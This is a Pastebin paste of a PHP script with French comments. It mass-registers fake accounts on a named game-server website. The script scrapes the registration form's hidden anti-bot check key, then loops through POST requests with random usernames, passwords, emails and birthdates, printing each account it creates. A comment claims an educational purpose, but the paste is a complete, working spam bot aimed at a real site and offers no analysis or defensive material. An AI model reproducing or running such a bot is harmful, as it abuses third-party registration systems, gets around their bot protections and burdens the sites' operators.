Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // signialons que ce code est a des fin éducative sans but d'utilisation uniquement pour sencibilisée les gens au spam et comprendre que un captcha bha c'est utile.
- set_time_limit(0);
- function GenerateName($len){
- $curlaracters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
- $curlaractersLength = strlen($curlaracters);
- $randomString = '';
- $i = 0;
- for (; $i < $len ; $i++) {
- $randomString .= $curlaracters[rand(0, $curlaractersLength - 1)];
- }
- return $randomString;
- }
- if(isset($_POST['number']))
- {
- $i = 1;
- while ($i <= $_POST['number'])
- {
- $wikipediaURL = 'http://destiny-flyff.tk/index.php?site=regist';
- $curl = curl_init();
- curl_setopt($curl, CURLOPT_URL, $wikipediaURL);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
- $resultat = curl_exec($curl);
- curl_close($curl);
- $dom = new DOMDocument();
- @$dom->loadHTML($resultat);
- foreach($dom->getElementsByTagName('input') as $input) {
- if($input->getAttribute('name') == "inputCheckKey")
- $securkey = $input->getAttribute('value');
- }
- //http://destiny-flyff.tk/index.php?site=regist
- $user = GenerateName(rand(6,10));
- $pass = GenerateName(rand(6,10));
- $birth = 1990 + rand(4,10);
- $birth = rand(10,20) + "/" + rand(10,12) + "/" + $birth;
- // changer la fin de l'email si besoin j'ai la fleme
- $email = GenerateName(rand(6,10)) ."@hotmail.fr";
- date_default_timezone_set('Europe/Paris');
- $date = date_create('now -1 minutes' , new DateTimeZone('Europe/Paris'));
- $date = date_format($date, 'U');
- $data = array("registAccountID" => $user, "registPassword" => $pass , "registPasswordRepeat" => $pass , "registMail" => $email , "registMailRepeat" => $email , "registBirthday" => $birth,"registSecretQuestion" => rand(1,6) , "registSecretAnswer" => $user, "inputCheckTimestamp" => $date , "inputCheckKey" => $securkey , "registSubmit" => "Registration completed. ", "registCheckbox" => "true");
- $data_string = http_build_query($data);
- $curl = curl_init('http://destiny-flyff.tk/index.php?site=regist');
- curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "POST");
- curl_setopt($curl, CURLOPT_POST, true);
- curl_setopt($curl, CURLOPT_POSTFIELDS, $data_string);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($curl, CURLOPT_HTTPHEADER, array(
- 'Content-Type: application/x-www-form-urlencoded;',
- 'Referer: http://destiny-flyff.tk/index.php?site=regist',
- 'X-Request-With: XMLHttpRequest',
- 'Content-Length: ' . strlen($data_string))
- );
- $result = curl_exec($curl);
- // décommenter si souci c'est pour voir le retour site .
- //echo $result;
- echo "<br>Compte numero ".$i." - User : ".$user." - Password: ".$pass." - EMAIL: ".$email."<br><br>";
- flush();
- ob_flush();
- $i++;
- }
- }
- else
- {
- echo '<form action="orazio.php" method="post">
- <p>Nombre de compte : <input type="text" name="number" /></p>
- <p><input type="submit" value="OK"></p>
- </form>';
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement